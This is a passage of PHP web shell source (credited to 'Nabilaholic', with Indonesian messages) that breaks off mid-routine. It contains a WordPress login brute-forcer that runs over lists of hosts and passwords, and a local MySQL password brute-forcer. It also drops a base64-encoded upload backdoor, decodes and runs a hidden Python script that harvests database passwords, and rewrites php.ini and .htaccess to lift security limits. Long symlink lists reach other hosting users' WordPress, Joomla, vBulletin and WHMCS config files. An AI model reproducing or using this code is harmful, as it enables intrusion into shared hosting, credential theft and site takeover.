<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "List Passwd here";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Gagal !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>Semua kolom harus diisi ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By Nabilaholic
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "Nabilaholic~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=red>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by Nabilaholic</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
